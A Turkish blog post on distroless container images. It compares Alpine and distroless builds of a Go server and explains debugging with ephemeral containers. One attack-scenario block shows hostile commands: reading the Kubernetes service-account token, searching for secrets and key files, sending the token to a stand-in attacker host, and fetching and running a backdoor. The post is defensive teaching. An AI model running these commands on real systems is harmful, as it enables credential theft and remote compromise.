DEV Community

Cover image for Container İçine Giremiyorum — Ve Bu İyi Bir Şey: Distroless Image'lar
Taha Yağız Güler
Taha Yağız Güler

Posted on

Container İçine Giremiyorum — Ve Bu İyi Bir Şey: Distroless Image'lar

Distroless Nedir?

Normal bir container image düşün. İçinde uygulamanın kendisi var, ama aynı zamanda:

  • Shell (/bin/sh, /bin/bash)
  • Paket manager (apt, apk, yum)
  • Sistem araçları (curl, wget, ls, cat, ps)
  • C kütüphaneleri
  • Kullanıcı yönetim araçları

Bunların büyük çoğunluğu uygulamanın çalışması için gerekli değil. Geliştirici kolaylığı için var. Ama bir saldırgan container'a girerse bunları kullanabilir.

Distroless image'lar bu araçların hiçbirini içermez. Google tarafından geliştirilen gcr.io/distroless projesi, her dil için minimal runtime image'lar sunuyor:

gcr.io/distroless/static     → Go, Rust (hiçbir runtime yok)
gcr.io/distroless/base       → glibc gerektiren uygulamalar
gcr.io/distroless/java17     → Java 17 runtime
gcr.io/distroless/nodejs20   → Node.js 20 runtime
gcr.io/distroless/python3    → Python 3 runtime
Enter fullscreen mode Exit fullscreen mode

Lab Ortamı

Docker Desktop, WSL Ubuntu. Kubernetes cluster gerekmedi — image karşılaştırması için sadece Docker yeterli. Güvenlik testleri için Docker Desktop'ın built-in Kubernetes cluster'ını kullandım.


Aynı Uygulamayı İki Farklı Image ile Build Et

Basit bir Go HTTP server:

package main

import (
    "fmt"
    "net/http"
)

func main() {
    http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintln(w, "Hello from container!")
    })
    http.HandleFunc("/health", func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintln(w, "OK")
    })
    http.ListenAndServe(":8080", nil)
}
Enter fullscreen mode Exit fullscreen mode

Alpine Dockerfile:

FROM golang:1.21-alpine AS builder
WORKDIR /app
COPY . .
RUN go build -o server .

FROM alpine:3.19
WORKDIR /app
COPY --from=builder /app/server .
EXPOSE 8080
ENTRYPOINT ["./server"]
Enter fullscreen mode Exit fullscreen mode

Distroless Dockerfile:

FROM golang:1.21-alpine AS builder
WORKDIR /app
COPY . .
RUN CGO_ENABLED=0 go build -o server .

FROM gcr.io/distroless/static
COPY --from=builder /app/server /server
EXPOSE 8080
ENTRYPOINT ["/server"]
Enter fullscreen mode Exit fullscreen mode

CGO_ENABLED=0 kritik — distroless/static içinde C kütüphanesi yok, binary tamamen static olmalı.

Build sonucu:

REPOSITORY       SIZE
go-alpine        22.1MB
go-distroless    17MB
Enter fullscreen mode Exit fullscreen mode

Boyut farkı bu örnekte küçük — asıl fark Python veya Node.js gibi ağır runtime'larda çok daha belirgin oluyor. Ama asıl fark zaten boyut değil.


Image İçeriği — Gerçek Fark Burada

Alpine içinde ne var?

docker run --rm -it go-alpine sh
Enter fullscreen mode Exit fullscreen mode
which sh       # /bin/sh
which wget     # /usr/bin/wget
which ls       # /bin/ls
which ps       # /bin/ps
apk --version  # apk-tools 2.14.x
Enter fullscreen mode Exit fullscreen mode

Shell var, araçlar var, paket manager var.

Distroless içinde ne var?

docker run --rm -it go-distroless sh
Enter fullscreen mode Exit fullscreen mode
docker: Error response from daemon:
exec: "sh": executable file not found in $PATH
Enter fullscreen mode Exit fullscreen mode

Shell yok — container başlamıyor bile. Başka şeyler dene:

docker run --rm go-distroless ls
# exec: "ls": no such file or directory

docker run --rm go-distroless wget
# exec: "wget": no such file or directory
Enter fullscreen mode Exit fullscreen mode

İçinde sadece /server binary'si var. Başka hiçbir şey yok.


Güvenlik Testi — Saldırı Senaryosu

Gerçekçi bir senaryo: uygulamanda RCE (Remote Code Execution) açığı var. Saldırgan container'a girdi. Ne yapabilir?

Kubernetes'te iki pod deploy ettim:

apiVersion: v1
kind: Pod
metadata:
  name: alpine-pod
spec:
  containers:
  - name: app
    image: go-alpine
---
apiVersion: v1
kind: Pod
metadata:
  name: distroless-pod
spec:
  containers:
  - name: app
    image: go-distroless
Enter fullscreen mode Exit fullscreen mode

Alpine'da saldırgan neler yapabilir:

kubectl exec -it alpine-pod -- sh

# Sistemi keşfet
ps aux
cat /etc/hosts
cat /etc/resolv.conf

# Secret ve token ara
env | grep -i secret
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Dosya sistemini tara
find / -name "*.env" 2>/dev/null
find / -name "*.key" 2>/dev/null

# Dışarıya veri sızdır
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
wget -q -O- "http://saldirgan.com/collect?token=$TOKEN"

# Backdoor indir
wget http://saldirgan.com/backdoor -O /tmp/bd
chmod +x /tmp/bd && /tmp/bd &
Enter fullscreen mode Exit fullscreen mode

Her şey çalışıyor. Container ele geçirildi, lateral movement başladı.

Distroless'ta aynı senaryoyu dene:

kubectl exec -it distroless-pod -- sh
# exec: "sh": executable file not found

kubectl exec distroless-pod -- ps
# exec: "ps": executable file not found

kubectl exec distroless-pod -- env
# exec: "env": executable file not found

kubectl exec distroless-pod -- wget
# exec: "wget": executable file not found
Enter fullscreen mode Exit fullscreen mode

Saldırgan RCE açığını başarıyla exploit etti. Ama container içinde elleri boş:

  • Shell alamıyor
  • Sistemi keşfedemiyor
  • Token okuyamıyor
  • Dışarıya veri gönderemiyor
  • Yeni araç indiremiyor

kubectl exec çalışmaması bir kısıtlama değil, özellik. Sen giremiyorsan saldırgan da giremiyor.

Not: Distroless saldırıyı imkânsız kılmıyor. RCE açığını kapatmak hâlâ birincil öncelik. Distroless ikinci savunma katmanı — "açık olsa bile zarar sınırlı olsun."


"Peki Debug Nasıl Yapacağım?"

Shell olmadan production'da sorun çıktığında ne yaparsın? Cevap: kubectl debug ve ephemeral container.

Ephemeral container, çalışan bir pod'a geçici olarak eklenen debug container. Pod'un namespace'ini paylaşıyor ama pod'un image'ını değiştirmiyor.

kubectl debug -it distroless-pod \
  --image=busybox \
  --target=app
Enter fullscreen mode Exit fullscreen mode

İçerdesin:

# Distroless pod'un process'lerini gör
ps aux
# PID 1: /server   ← distroless'taki uygulama
# PID 12: sh       ← senin debug shell'in

# Environment variable'ları oku
cat /proc/1/environ | tr '\0' '\n'

# Network bağlantıları
cat /etc/hosts

exit
Enter fullscreen mode Exit fullscreen mode

Production pod'una dokunmadın. Ephemeral container geçici — debug bitince gidiyor.

Production pod'una hiç dokunmak istemiyorsan kopyasını al:

kubectl debug distroless-pod \
  --image=busybox \
  --copy-to=distroless-pod-debug \
  -it
Enter fullscreen mode Exit fullscreen mode

Bu komut pod'un birebir kopyasını oluşturuyor, içine busybox ekliyor, oraya bağlanıyor. Debug bitince:

kubectl delete pod distroless-pod-debug
Enter fullscreen mode Exit fullscreen mode

Node Seviyesinde Debug

Bazen pod seviyesi yetmez — kernel parametreleri, node'daki tüm process'ler, host network. Bunun için node'u debug edersin:

kubectl debug node/desktop-control-plane \
  -it \
  --image=busybox
Enter fullscreen mode Exit fullscreen mode
# Node'daki tüm process'ler
ps aux | head -20

# Node'un dosya sistemi /host altında
ls /host

# Kernel bilgisi
uname -a

exit
Enter fullscreen mode Exit fullscreen mode

Pod Debug vs Node Debug

Pod Debug Node Debug
Ne zaman Uygulama seviyesi sorunlar Altyapı seviyesi sorunlar
Erişim Container process'leri Tüm node
Komut kubectl debug pod/... kubectl debug node/...

Production Best Practices

Multi-stage build her zaman kullan:

# Builder — tüm araçlar burada, final image'a gitmez
FROM golang:1.21 AS builder
WORKDIR /app
COPY . .
RUN CGO_ENABLED=0 go build -o server .

# Runtime — sadece binary
FROM gcr.io/distroless/static
COPY --from=builder /app/server /server
ENTRYPOINT ["/server"]
Enter fullscreen mode Exit fullscreen mode

nonroot tag kullan:

# Root olarak çalışma
FROM gcr.io/distroless/static-debian12:nonroot
Enter fullscreen mode Exit fullscreen mode

debug tag sadece geliştirmede:

# Production
FROM gcr.io/distroless/static

# Development — busybox shell içeriyor, production'da kullanma
FROM gcr.io/distroless/static:debug
Enter fullscreen mode Exit fullscreen mode

Öğrendiklerim

Bu lab'dan önce distroless'ı "image boyutunu küçülten bir şey" olarak görüyordum. Şimdi şunu söyleyebiliyorum:

Boyut küçülmesi yan kazanım. Asıl kazanım attack surface'in minimuma inmesi. Shell yok, paket manager yok, sistem araçları yok — container ele geçirilse bile saldırganın yapabileceği şey çok kısıtlı.

kubectl exec çalışmaması sinir bozucu görünüyor ama doğru soruyu sormak gerekiyor: "Ben giremiyorsam saldırgan da giremez mi?" Evet, giremez. Debug için kubectl debug var — production pod'una dokunmadan ephemeral container ile istediğini yapabilirsin.


Bu yazı, bir mülakattan aldığım geri bildirimi uygulamalı olarak çalışma serim.
Serinin diğer yazıları:

Top comments (0)